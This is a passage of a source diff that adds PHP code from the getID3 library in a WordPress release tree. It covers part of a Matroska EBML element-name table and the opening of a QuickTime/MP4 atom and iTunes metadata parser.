+			$EBMLidList[EBML_ID_CUES]                       = 'Cues';
+			$EBMLidList[EBML_ID_CUETIME]                    = 'CueTime';
+			$EBMLidList[EBML_ID_CUETRACK]                   = 'CueTrack';
+			$EBMLidList[EBML_ID_CUETRACKPOSITIONS]          = 'CueTrackPositions';
+			$EBMLidList[EBML_ID_DATEUTC]                    = 'DateUTC';
+			$EBMLidList[EBML_ID_DEFAULTDURATION]            = 'DefaultDuration';
+			$EBMLidList[EBML_ID_DISPLAYHEIGHT]              = 'DisplayHeight';
+			$EBMLidList[EBML_ID_DISPLAYUNIT]                = 'DisplayUnit';
+			$EBMLidList[EBML_ID_DISPLAYWIDTH]               = 'DisplayWidth';
+			$EBMLidList[EBML_ID_DOCTYPE]                    = 'DocType';
+			$EBMLidList[EBML_ID_DOCTYPEREADVERSION]         = 'DocTypeReadVersion';
+			$EBMLidList[EBML_ID_DOCTYPEVERSION]             = 'DocTypeVersion';
+			$EBMLidList[EBML_ID_DURATION]                   = 'Duration';
+			$EBMLidList[EBML_ID_EBML]                       = 'EBML';
+			$EBMLidList[EBML_ID_EBMLMAXIDLENGTH]            = 'EBMLMaxIDLength';
+			$EBMLidList[EBML_ID_EBMLMAXSIZELENGTH]          = 'EBMLMaxSizeLength';
+			$EBMLidList[EBML_ID_EBMLREADVERSION]            = 'EBMLReadVersion';
+			$EBMLidList[EBML_ID_EBMLVERSION]                = 'EBMLVersion';
+			$EBMLidList[EBML_ID_EDITIONENTRY]               = 'EditionEntry';
+			$EBMLidList[EBML_ID_EDITIONFLAGDEFAULT]         = 'EditionFlagDefault';
+			$EBMLidList[EBML_ID_EDITIONFLAGHIDDEN]          = 'EditionFlagHidden';
+			$EBMLidList[EBML_ID_EDITIONFLAGORDERED]         = 'EditionFlagOrdered';
+			$EBMLidList[EBML_ID_EDITIONUID]                 = 'EditionUID';
+			$EBMLidList[EBML_ID_FILEDATA]                   = 'FileData';
+			$EBMLidList[EBML_ID_FILEDESCRIPTION]            = 'FileDescription';
+			$EBMLidList[EBML_ID_FILEMIMETYPE]               = 'FileMimeType';
+			$EBMLidList[EBML_ID_FILENAME]                   = 'FileName';
+			$EBMLidList[EBML_ID_FILEREFERRAL]               = 'FileReferral';
+			$EBMLidList[EBML_ID_FILEUID]                    = 'FileUID';
+			$EBMLidList[EBML_ID_FLAGDEFAULT]                = 'FlagDefault';
+			$EBMLidList[EBML_ID_FLAGENABLED]                = 'FlagEnabled';
+			$EBMLidList[EBML_ID_FLAGFORCED]                 = 'FlagForced';
+			$EBMLidList[EBML_ID_FLAGINTERLACED]             = 'FlagInterlaced';
+			$EBMLidList[EBML_ID_FLAGLACING]                 = 'FlagLacing';
+			$EBMLidList[EBML_ID_GAMMAVALUE]                 = 'GammaValue';
+			$EBMLidList[EBML_ID_INFO]                       = 'Info';
+			$EBMLidList[EBML_ID_LANGUAGE]                   = 'Language';
+			$EBMLidList[EBML_ID_MAXBLOCKADDITIONID]         = 'MaxBlockAdditionID';
+			$EBMLidList[EBML_ID_MAXCACHE]                   = 'MaxCache';
+			$EBMLidList[EBML_ID_MINCACHE]                   = 'MinCache';
+			$EBMLidList[EBML_ID_MUXINGAPP]                  = 'MuxingApp';
+			$EBMLidList[EBML_ID_NAME]                       = 'Name';
+			$EBMLidList[EBML_ID_NEXTFILENAME]               = 'NextFilename';
+			$EBMLidList[EBML_ID_NEXTUID]                    = 'NextUID';
+			$EBMLidList[EBML_ID_OUTPUTSAMPLINGFREQUENCY]    = 'OutputSamplingFrequency';
+			$EBMLidList[EBML_ID_PIXELCROPBOTTOM]            = 'PixelCropBottom';
+			$EBMLidList[EBML_ID_PIXELCROPLEFT]              = 'PixelCropLeft';
+			$EBMLidList[EBML_ID_PIXELCROPRIGHT]             = 'PixelCropRight';
+			$EBMLidList[EBML_ID_PIXELCROPTOP]               = 'PixelCropTop';
+			$EBMLidList[EBML_ID_PIXELHEIGHT]                = 'PixelHeight';
+			$EBMLidList[EBML_ID_PIXELWIDTH]                 = 'PixelWidth';
+			$EBMLidList[EBML_ID_PREVFILENAME]               = 'PrevFilename';
+			$EBMLidList[EBML_ID_PREVUID]                    = 'PrevUID';
+			$EBMLidList[EBML_ID_SAMPLINGFREQUENCY]          = 'SamplingFrequency';
+			$EBMLidList[EBML_ID_SEEK]                       = 'Seek';
+			$EBMLidList[EBML_ID_SEEKHEAD]                   = 'SeekHead';
+			$EBMLidList[EBML_ID_SEEKID]                     = 'SeekID';
+			$EBMLidList[EBML_ID_SEEKPOSITION]               = 'SeekPosition';
+			$EBMLidList[EBML_ID_SEGMENT]                    = 'Segment';
+			$EBMLidList[EBML_ID_SEGMENTFAMILY]              = 'SegmentFamily';
+			$EBMLidList[EBML_ID_SEGMENTFILENAME]            = 'SegmentFilename';
+			$EBMLidList[EBML_ID_SEGMENTUID]                 = 'SegmentUID';
+			$EBMLidList[EBML_ID_SIMPLETAG]                  = 'SimpleTag';
+			$EBMLidList[EBML_ID_CLUSTERSLICES]              = 'ClusterSlices';
+			$EBMLidList[EBML_ID_STEREOMODE]                 = 'StereoMode';
+			$EBMLidList[EBML_ID_OLDSTEREOMODE]              = 'OldStereoMode';
+			$EBMLidList[EBML_ID_TAG]                        = 'Tag';
+			$EBMLidList[EBML_ID_TAGATTACHMENTUID]           = 'TagAttachmentUID';
+			$EBMLidList[EBML_ID_TAGBINARY]                  = 'TagBinary';
+			$EBMLidList[EBML_ID_TAGCHAPTERUID]              = 'TagChapterUID';
+			$EBMLidList[EBML_ID_TAGDEFAULT]                 = 'TagDefault';
+			$EBMLidList[EBML_ID_TAGEDITIONUID]              = 'TagEditionUID';
+			$EBMLidList[EBML_ID_TAGLANGUAGE]                = 'TagLanguage';
+			$EBMLidList[EBML_ID_TAGNAME]                    = 'TagName';
+			$EBMLidList[EBML_ID_TAGTRACKUID]                = 'TagTrackUID';
+			$EBMLidList[EBML_ID_TAGS]                       = 'Tags';
+			$EBMLidList[EBML_ID_TAGSTRING]                  = 'TagString';
+			$EBMLidList[EBML_ID_TARGETS]                    = 'Targets';
+			$EBMLidList[EBML_ID_TARGETTYPE]                 = 'TargetType';
+			$EBMLidList[EBML_ID_TARGETTYPEVALUE]            = 'TargetTypeValue';
+			$EBMLidList[EBML_ID_TIMECODESCALE]              = 'TimecodeScale';
+			$EBMLidList[EBML_ID_TITLE]                      = 'Title';
+			$EBMLidList[EBML_ID_TRACKENTRY]                 = 'TrackEntry';
+			$EBMLidList[EBML_ID_TRACKNUMBER]                = 'TrackNumber';
+			$EBMLidList[EBML_ID_TRACKOFFSET]                = 'TrackOffset';
+			$EBMLidList[EBML_ID_TRACKOVERLAY]               = 'TrackOverlay';
+			$EBMLidList[EBML_ID_TRACKS]                     = 'Tracks';
+			$EBMLidList[EBML_ID_TRACKTIMECODESCALE]         = 'TrackTimecodeScale';
+			$EBMLidList[EBML_ID_TRACKTRANSLATE]             = 'TrackTranslate';
+			$EBMLidList[EBML_ID_TRACKTRANSLATECODEC]        = 'TrackTranslateCodec';
+			$EBMLidList[EBML_ID_TRACKTRANSLATEEDITIONUID]   = 'TrackTranslateEditionUID';
+			$EBMLidList[EBML_ID_TRACKTRANSLATETRACKID]      = 'TrackTranslateTrackID';
+			$EBMLidList[EBML_ID_TRACKTYPE]                  = 'TrackType';
+			$EBMLidList[EBML_ID_TRACKUID]                   = 'TrackUID';
+			$EBMLidList[EBML_ID_VIDEO]                      = 'Video';
+			$EBMLidList[EBML_ID_VOID]                       = 'Void';
+			$EBMLidList[EBML_ID_WRITINGAPP]                 = 'WritingApp';
+		}
+
+		return (isset($EBMLidList[$value]) ? $EBMLidList[$value] : dechex($value));
+	}
+
+	public static function displayUnit($value) {
+		// http://www.matroska.org/technical/specs/index.html#DisplayUnit
+		static $units = array(
+			0 => 'pixels',
+			1 => 'centimeters',
+			2 => 'inches',
+			3 => 'Display Aspect Ratio');
+
+		return (isset($units[$value]) ? $units[$value] : 'unknown');
+	}
+
+	private static function getDefaultStreamInfo($streams)
+	{
+		foreach (array_reverse($streams) as $stream) {
+			if ($stream['default']) {
+				break;
+			}
+		}
+
+		$unset = array('default', 'name');
+		foreach ($unset as $u) {
+			if (isset($stream[$u])) {
+				unset($stream[$u]);
+			}
+		}
+
+		$info = $stream;
+		$info['streams'] = $streams;
+
+		return $info;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.audio-video.quicktime.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.audio-video.quicktime.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.audio-video.quicktime.php	(revision 56912)
@@ -0,0 +1,2666 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio-video.quicktime.php                            //
+// module for analyzing Quicktime and MP3-in-MP4 files         //
+// dependencies: module.audio.mp3.php                          //
+// dependencies: module.tag.id3v2.php                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); // needed for ISO 639-2 language code lookup
+
+class getid3_quicktime extends getid3_handler
+{
+
+	public $ReturnAtomData        = true;
+	public $ParseAllPossibleAtoms = false;
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		$info['fileformat'] = 'quicktime';
+		$info['quicktime']['hinting']    = false;
+		$info['quicktime']['controller'] = 'standard'; // may be overridden if 'ctyp' atom is present
+
+		$this->fseek($info['avdataoffset']);
+
+		$offset      = 0;
+		$atomcounter = 0;
+		$atom_data_read_buffer_size = max($this->getid3->option_fread_buffer_size * 1024, ($info['php_memory_limit'] ? round($info['php_memory_limit'] / 4) : 1024)); // set read buffer to 25% of PHP memory limit (if one is specified), otherwise use option_fread_buffer_size [default: 32MB]
+		while ($offset < $info['avdataend']) {
+			if (!getid3_lib::intValueSupported($offset)) {
+				$this->error('Unable to parse atom at offset '.$offset.' because beyond '.round(PHP_INT_MAX / 1073741824).'GB limit of PHP filesystem functions');
+				break;
+			}
+			$this->fseek($offset);
+			$AtomHeader = $this->fread(8);
+
+			$atomsize = getid3_lib::BigEndian2Int(substr($AtomHeader, 0, 4));
+			$atomname = substr($AtomHeader, 4, 4);
+
+			// 64-bit MOV patch by jlegateØktnc*com
+			if ($atomsize == 1) {
+				$atomsize = getid3_lib::BigEndian2Int($this->fread(8));
+			}
+
+			$info['quicktime'][$atomname]['name']   = $atomname;
+			$info['quicktime'][$atomname]['size']   = $atomsize;
+			$info['quicktime'][$atomname]['offset'] = $offset;
+
+			if (($offset + $atomsize) > $info['avdataend']) {
+				$this->error('Atom at offset '.$offset.' claims to go beyond end-of-file (length: '.$atomsize.' bytes)');
+				return false;
+			}
+
+			if ($atomsize == 0) {
+				// Furthermore, for historical reasons the list of atoms is optionally
+				// terminated by a 32-bit integer set to 0. If you are writing a program
+				// to read user data atoms, you should allow for the terminating 0.
+				break;
+			}
+			$atomHierarchy = array();
+			$info['quicktime'][$atomname] = $this->QuicktimeParseAtom($atomname, $atomsize, $this->fread(min($atomsize, $atom_data_read_buffer_size)), $offset, $atomHierarchy, $this->ParseAllPossibleAtoms);
+
+			$offset += $atomsize;
+			$atomcounter++;
+		}
+
+		if (!empty($info['avdataend_tmp'])) {
+			// this value is assigned to a temp value and then erased because
+			// otherwise any atoms beyond the 'mdat' atom would not get parsed
+			$info['avdataend'] = $info['avdataend_tmp'];
+			unset($info['avdataend_tmp']);
+		}
+
+		if (!empty($info['quicktime']['comments']['chapters']) && is_array($info['quicktime']['comments']['chapters']) && (count($info['quicktime']['comments']['chapters']) > 0)) {
+			$durations = $this->quicktime_time_to_sample_table($info);
+			for ($i = 0; $i < count($info['quicktime']['comments']['chapters']); $i++) {
+				$bookmark = array();
+				$bookmark['title'] = $info['quicktime']['comments']['chapters'][$i];
+				if (isset($durations[$i])) {
+					$bookmark['duration_sample'] = $durations[$i]['sample_duration'];
+					if ($i > 0) {
+						$bookmark['start_sample'] = $info['quicktime']['bookmarks'][($i - 1)]['start_sample'] + $info['quicktime']['bookmarks'][($i - 1)]['duration_sample'];
+					} else {
+						$bookmark['start_sample'] = 0;
+					}
+					if ($time_scale = $this->quicktime_bookmark_time_scale($info)) {
+						$bookmark['duration_seconds'] = $bookmark['duration_sample'] / $time_scale;
+						$bookmark['start_seconds']    = $bookmark['start_sample']    / $time_scale;
+					}
+				}
+				$info['quicktime']['bookmarks'][] = $bookmark;
+			}
+		}
+
+		if (isset($info['quicktime']['temp_meta_key_names'])) {
+			unset($info['quicktime']['temp_meta_key_names']);
+		}
+
+		if (!empty($info['quicktime']['comments']['location.ISO6709'])) {
+			// https://en.wikipedia.org/wiki/ISO_6709
+			foreach ($info['quicktime']['comments']['location.ISO6709'] as $ISO6709string) {
+				$latitude  = false;
+				$longitude = false;
+				$altitude  = false;
+				if (preg_match('#^([\\+\\-])([0-9]{2}|[0-9]{4}|[0-9]{6})(\\.[0-9]+)?([\\+\\-])([0-9]{3}|[0-9]{5}|[0-9]{7})(\\.[0-9]+)?(([\\+\\-])([0-9]{3}|[0-9]{5}|[0-9]{7})(\\.[0-9]+)?)?/$#', $ISO6709string, $matches)) {
+					@list($dummy, $lat_sign, $lat_deg, $lat_deg_dec, $lon_sign, $lon_deg, $lon_deg_dec, $dummy, $alt_sign, $alt_deg, $alt_deg_dec) = $matches;
+
+					if (strlen($lat_deg) == 2) {        // [+-]DD.D
+						$latitude = floatval(ltrim($lat_deg, '0').$lat_deg_dec);
+					} elseif (strlen($lat_deg) == 4) {  // [+-]DDMM.M
+						$latitude = floatval(ltrim(substr($lat_deg, 0, 2), '0')) + floatval(ltrim(substr($lat_deg, 2, 2), '0').$lat_deg_dec / 60);
+					} elseif (strlen($lat_deg) == 6) {  // [+-]DDMMSS.S
+						$latitude = floatval(ltrim(substr($lat_deg, 0, 2), '0')) + floatval(ltrim(substr($lat_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($lat_deg, 4, 2), '0').$lat_deg_dec / 3600);
+					}
+
+					if (strlen($lon_deg) == 3) {        // [+-]DDD.D
+						$longitude = floatval(ltrim($lon_deg, '0').$lon_deg_dec);
+					} elseif (strlen($lon_deg) == 5) {  // [+-]DDDMM.M
+						$longitude = floatval(ltrim(substr($lon_deg, 0, 2), '0')) + floatval(ltrim(substr($lon_deg, 2, 2), '0').$lon_deg_dec / 60);
+					} elseif (strlen($lon_deg) == 7) {  // [+-]DDDMMSS.S
+						$longitude = floatval(ltrim(substr($lon_deg, 0, 2), '0')) + floatval(ltrim(substr($lon_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($lon_deg, 4, 2), '0').$lon_deg_dec / 3600);
+					}
+
+					if (strlen($alt_deg) == 3) {        // [+-]DDD.D
+						$altitude = floatval(ltrim($alt_deg, '0').$alt_deg_dec);
+					} elseif (strlen($alt_deg) == 5) {  // [+-]DDDMM.M
+						$altitude = floatval(ltrim(substr($alt_deg, 0, 2), '0')) + floatval(ltrim(substr($alt_deg, 2, 2), '0').$alt_deg_dec / 60);
+					} elseif (strlen($alt_deg) == 7) {  // [+-]DDDMMSS.S
+						$altitude = floatval(ltrim(substr($alt_deg, 0, 2), '0')) + floatval(ltrim(substr($alt_deg, 2, 2), '0') / 60) + floatval(ltrim(substr($alt_deg, 4, 2), '0').$alt_deg_dec / 3600);
+					}
+
+					if ($latitude !== false) {
+						$info['quicktime']['comments']['gps_latitude'][]  = (($lat_sign == '-') ? -1 : 1) * floatval($latitude);
+					}
+					if ($longitude !== false) {
+						$info['quicktime']['comments']['gps_longitude'][] = (($lon_sign == '-') ? -1 : 1) * floatval($longitude);
+					}
+					if ($altitude !== false) {
+						$info['quicktime']['comments']['gps_altitude'][]  = (($alt_sign == '-') ? -1 : 1) * floatval($altitude);
+					}
+				}
+				if ($latitude === false) {
+					$this->warning('location.ISO6709 string not parsed correctly: "'.$ISO6709string.'", please submit as a bug');
+				}
+				break;
+			}
+		}
+
+		if (!isset($info['bitrate']) && isset($info['playtime_seconds'])) {
+			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
+		}
+		if (isset($info['bitrate']) && !isset($info['audio']['bitrate']) && !isset($info['quicktime']['video'])) {
+			$info['audio']['bitrate'] = $info['bitrate'];
+		}
+		if (!empty($info['playtime_seconds']) && !isset($info['video']['frame_rate']) && !empty($info['quicktime']['stts_framecount'])) {
+			foreach ($info['quicktime']['stts_framecount'] as $key => $samples_count) {
+				$samples_per_second = $samples_count / $info['playtime_seconds'];
+				if ($samples_per_second > 240) {
+					// has to be audio samples
+				} else {
+					$info['video']['frame_rate'] = $samples_per_second;
+					break;
+				}
+			}
+		}
+		if ($info['audio']['dataformat'] == 'mp4') {
+			$info['fileformat'] = 'mp4';
+			if (empty($info['video']['resolution_x'])) {
+				$info['mime_type']  = 'audio/mp4';
+				unset($info['video']['dataformat']);
+			} else {
+				$info['mime_type']  = 'video/mp4';
+			}
+		}
+
+		if (!$this->ReturnAtomData) {
+			unset($info['quicktime']['moov']);
+		}
+
+		if (empty($info['audio']['dataformat']) && !empty($info['quicktime']['audio'])) {
+			$info['audio']['dataformat'] = 'quicktime';
+		}
+		if (empty($info['video']['dataformat']) && !empty($info['quicktime']['video'])) {
+			$info['video']['dataformat'] = 'quicktime';
+		}
+
+		return true;
+	}
+
+	public function QuicktimeParseAtom($atomname, $atomsize, $atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) {
+		// http://developer.apple.com/techpubs/quicktime/qtdevdocs/APIREF/INDEX/atomalphaindex.htm
+		// https://code.google.com/p/mp4v2/wiki/iTunesMetadata
+
+		$info = &$this->getid3->info;
+
+		$atom_parent = end($atomHierarchy); // not array_pop($atomHierarchy); see http://www.getid3.org/phpBB3/viewtopic.php?t=1717
+		array_push($atomHierarchy, $atomname);
+		$atom_structure['hierarchy'] = implode(' ', $atomHierarchy);
+		$atom_structure['name']      = $atomname;
+		$atom_structure['size']      = $atomsize;
+		$atom_structure['offset']    = $baseoffset;
+		switch ($atomname) {
+			case 'moov': // MOVie container atom
+			case 'trak': // TRAcK container atom
+			case 'clip': // CLIPping container atom
+			case 'matt': // track MATTe container atom
+			case 'edts': // EDiTS container atom
+			case 'tref': // Track REFerence container atom
+			case 'mdia': // MeDIA container atom
+			case 'minf': // Media INFormation container atom
+			case 'dinf': // Data INFormation container atom
+			case 'udta': // User DaTA container atom
+			case 'cmov': // Compressed MOVie container atom
+			case 'rmra': // Reference Movie Record Atom
+			case 'rmda': // Reference Movie Descriptor Atom
+			case 'gmhd': // Generic Media info HeaDer atom (seen on QTVR)
+				$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
+				break;
+
+			case 'ilst': // Item LiST container atom
+				if ($atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms)) {
+					// some "ilst" atoms contain data atoms that have a numeric name, and the data is far more accessible if the returned array is compacted
+					$allnumericnames = true;
+					foreach ($atom_structure['subatoms'] as $subatomarray) {
+						if (!is_integer($subatomarray['name']) || (count($subatomarray['subatoms']) != 1)) {
+							$allnumericnames = false;
+							break;
+						}
+					}
+					if ($allnumericnames) {
+						$newData = array();
+						foreach ($atom_structure['subatoms'] as $subatomarray) {
+							foreach ($subatomarray['subatoms'] as $newData_subatomarray) {
+								unset($newData_subatomarray['hierarchy'], $newData_subatomarray['name']);
+								$newData[$subatomarray['name']] = $newData_subatomarray;
+								break;
+							}
+						}
+						$atom_structure['data'] = $newData;
+						unset($atom_structure['subatoms']);
+					}
+				}
+				break;
+
+			case "\x00\x00\x00\x01":
+			case "\x00\x00\x00\x02":
+			case "\x00\x00\x00\x03":
+			case "\x00\x00\x00\x04":
+			case "\x00\x00\x00\x05":
+				$atomname = getid3_lib::BigEndian2Int($atomname);
+				$atom_structure['name'] = $atomname;
+				$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
+				break;
+
+			case 'stbl': // Sample TaBLe container atom
+				$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
+				$isVideo = false;
+				$framerate  = 0;
+				$framecount = 0;
+				foreach ($atom_structure['subatoms'] as $key => $value_array) {
+					if (isset($value_array['sample_description_table'])) {
+						foreach ($value_array['sample_description_table'] as $key2 => $value_array2) {
+							if (isset($value_array2['data_format'])) {
+								switch ($value_array2['data_format']) {
+									case 'avc1':
+									case 'mp4v':
+										// video data
+										$isVideo = true;
+										break;
+									case 'mp4a':
+										// audio data
+										break;
+								}
+							}
+						}
+					} elseif (isset($value_array['time_to_sample_table'])) {
+						foreach ($value_array['time_to_sample_table'] as $key2 => $value_array2) {
+							if (isset($value_array2['sample_count']) && isset($value_array2['sample_duration']) && ($value_array2['sample_duration'] > 0)) {
+								$framerate  = round($info['quicktime']['time_scale'] / $value_array2['sample_duration'], 3);
+								$framecount = $value_array2['sample_count'];
+							}
+						}
+					}
+				}
+				if ($isVideo && $framerate) {
+					$info['quicktime']['video']['frame_rate'] = $framerate;
+					$info['video']['frame_rate'] = $info['quicktime']['video']['frame_rate'];
+				}
+				if ($isVideo && $framecount) {
+					$info['quicktime']['video']['frame_count'] = $framecount;
+				}
+				break;
+
+
+			case "\xA9".'alb': // ALBum
+			case "\xA9".'ART': //
+			case "\xA9".'art': // ARTist
+			case "\xA9".'aut': //
+			case "\xA9".'cmt': // CoMmenT
+			case "\xA9".'com': // COMposer
+			case "\xA9".'cpy': //
+			case "\xA9".'day': // content created year
+			case "\xA9".'dir': //
+			case "\xA9".'ed1': //
+			case "\xA9".'ed2': //
+			case "\xA9".'ed3': //
+			case "\xA9".'ed4': //
+			case "\xA9".'ed5': //
+			case "\xA9".'ed6': //
+			case "\xA9".'ed7': //
+			case "\xA9".'ed8': //
+			case "\xA9".'ed9': //
+			case "\xA9".'enc': //
+			case "\xA9".'fmt': //
+			case "\xA9".'gen': // GENre
+			case "\xA9".'grp': // GRouPing
+			case "\xA9".'hst': //
+			case "\xA9".'inf': //
+			case "\xA9".'lyr': // LYRics
+			case "\xA9".'mak': //
+			case "\xA9".'mod': //
+			case "\xA9".'nam': // full NAMe
+			case "\xA9".'ope': //
+			case "\xA9".'PRD': //
+			case "\xA9".'prf': //
+			case "\xA9".'req': //
+			case "\xA9".'src': //
+			case "\xA9".'swr': //
+			case "\xA9".'too': // encoder
+			case "\xA9".'trk': // TRacK
+			case "\xA9".'url': //
+			case "\xA9".'wrn': //
+			case "\xA9".'wrt': // WRiTer
+			case '----': // itunes specific
+			case 'aART': // Album ARTist
+			case 'akID': // iTunes store account type
+			case 'apID': // Purchase Account
+			case 'atID': //
+			case 'catg': // CaTeGory
+			case 'cmID': //
+			case 'cnID': //
+			case 'covr': // COVeR artwork
+			case 'cpil': // ComPILation
+			case 'cprt': // CoPyRighT
+			case 'desc': // DESCription
+			case 'disk': // DISK number
+			case 'egid': // Episode Global ID
+			case 'geID': //
+			case 'gnre': // GeNRE
+			case 'hdvd': // HD ViDeo
+			case 'keyw': // KEYWord
+			case 'ldes': // Long DEScription
+			case 'pcst': // PodCaST
+			case 'pgap': // GAPless Playback
+			case 'plID': //
+			case 'purd': // PURchase Date
+			case 'purl': // Podcast URL
+			case 'rati': //
+			case 'rndu': //
+			case 'rpdu': //
+			case 'rtng': // RaTiNG
+			case 'sfID': // iTunes store country
+			case 'soaa': // SOrt Album Artist
+			case 'soal': // SOrt ALbum
+			case 'soar': // SOrt ARtist
+			case 'soco': // SOrt COmposer
+			case 'sonm': // SOrt NaMe
+			case 'sosn': // SOrt Show Name
+			case 'stik': //
+			case 'tmpo': // TeMPO (BPM)
+			case 'trkn': // TRacK Number
+			case 'tven': // tvEpisodeID
+			case 'tves': // TV EpiSode
+			case 'tvnn': // TV Network Name
+			case 'tvsh': // TV SHow Name
+			case 'tvsn': // TV SeasoN
+				if ($atom_parent == 'udta') {
+					// User data atom handler
+					$atom_structure['data_length'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2));
+					$atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2));
+					$atom_structure['data']        =                           substr($atom_data, 4);
+
+					$atom_structure['language']    = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
+					if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
+						$info['comments']['language'][] = $atom_structure['language'];
+					}
+				} else {
+					// Apple item list box atom handler
+					$atomoffset = 0;
+					if (substr($atom_data, 2, 2) == "\x10\xB5") {
+						// not sure what it means, but observed on iPhone4 data.
+						// Each $atom_data has 2 bytes of datasize, plus 0x10B5, then data
+						while ($atomoffset < strlen($atom_data)) {
+							$boxsmallsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset,     2));
+							$boxsmalltype =                           substr($atom_data, $atomoffset + 2, 2);
+							$boxsmalldata =                           substr($atom_data, $atomoffset + 4, $boxsmallsize);
+							if ($boxsmallsize <= 1) {
+								$this->warning('Invalid QuickTime atom smallbox size "'.$boxsmallsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset));
+								$atom_structure['data'] = null;
+								$atomoffset = strlen($atom_data);
+								break;
+							}
+							switch ($boxsmalltype) {
+								case "\x10\xB5":
+									$atom_structure['data'] = $boxsmalldata;
+									break;
+								default:
+									$this->warning('Unknown QuickTime smallbox type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxsmalltype).'" ('.trim(getid3_lib::PrintHexBytes($boxsmalltype)).') at offset '.$baseoffset);
+									$atom_structure['data'] = $atom_data;
+									break;
+							}
+							$atomoffset += (4 + $boxsmallsize);
+						}
+					} else {
+						while ($atomoffset < strlen($atom_data)) {
+							$boxsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset, 4));
+							$boxtype =                           substr($atom_data, $atomoffset + 4, 4);
+							$boxdata =                           substr($atom_data, $atomoffset + 8, $boxsize - 8);
+							if ($boxsize <= 1) {
+								$this->warning('Invalid QuickTime atom box size "'.$boxsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset));
+								$atom_structure['data'] = null;
+								$atomoffset = strlen($atom_data);
+								break;
+							}
+							$atomoffset += $boxsize;
+
+							switch ($boxtype) {
+								case 'mean':
+								case 'name':
+									$atom_structure[$boxtype] = substr($boxdata, 4);
+									break;
+
+								case 'data':
+									$atom_structure['version']   = getid3_lib::BigEndian2Int(substr($boxdata,  0, 1));
+									$atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($boxdata,  1, 3));
+									switch ($atom_structure['flags_raw']) {
+										case  0: // data flag
+										case 21: // tmpo/cpil flag
+											switch ($atomname) {
+												case 'cpil':
+												case 'hdvd':
+												case 'pcst':
+												case 'pgap':
+													// 8-bit integer (boolean)
+													$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
+													break;
+
+												case 'tmpo':
+													// 16-bit integer
+													$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 2));
+													break;
+
+												case 'disk':
+												case 'trkn':
+													// binary
+													$num       = getid3_lib::BigEndian2Int(substr($boxdata, 10, 2));
+													$num_total = getid3_lib::BigEndian2Int(substr($boxdata, 12, 2));
+													$atom_structure['data']  = empty($num) ? '' : $num;
+													$atom_structure['data'] .= empty($num_total) ? '' : '/'.$num_total;
+													break;
+
+												case 'gnre':
+													// enum
+													$GenreID = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
+													$atom_structure['data']    = getid3_id3v1::LookupGenreName($GenreID - 1);
+													break;
+
+												case 'rtng':
+													// 8-bit integer
+													$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
+													$atom_structure['data']    = $this->QuicktimeContentRatingLookup($atom_structure[$atomname]);
+													break;
+
+												case 'stik':
+													// 8-bit integer (enum)
+													$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
+													$atom_structure['data']    = $this->QuicktimeSTIKLookup($atom_structure[$atomname]);
+													break;
+
+												case 'sfID':
+													// 32-bit integer
+													$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
+													$atom_structure['data']    = $this->QuicktimeStoreFrontCodeLookup($atom_structure[$atomname]);
+													break;
+
+												case 'egid':
+												case 'purl':
+													$atom_structure['data'] = substr($boxdata, 8);
+													break;
+
+												case 'plID':
+													// 64-bit integer
+													$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 8));
+													break;
+
+												case 'covr':
+													$atom_structure['data'] = substr($boxdata, 8);
+													// not a foolproof check, but better than nothing
+													if (preg_match('#^\\xFF\\xD8\\xFF#', $atom_structure['data'])) {
+														$atom_structure['image_mime'] = 'image/jpeg';
+													} elseif (preg_match('#^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A#', $atom_structure['data'])) {
+														$atom_structure['image_mime'] = 'image/png';
+													} elseif (preg_match('#^GIF#', $atom_structure['data'])) {
+														$atom_structure['image_mime'] = 'image/gif';
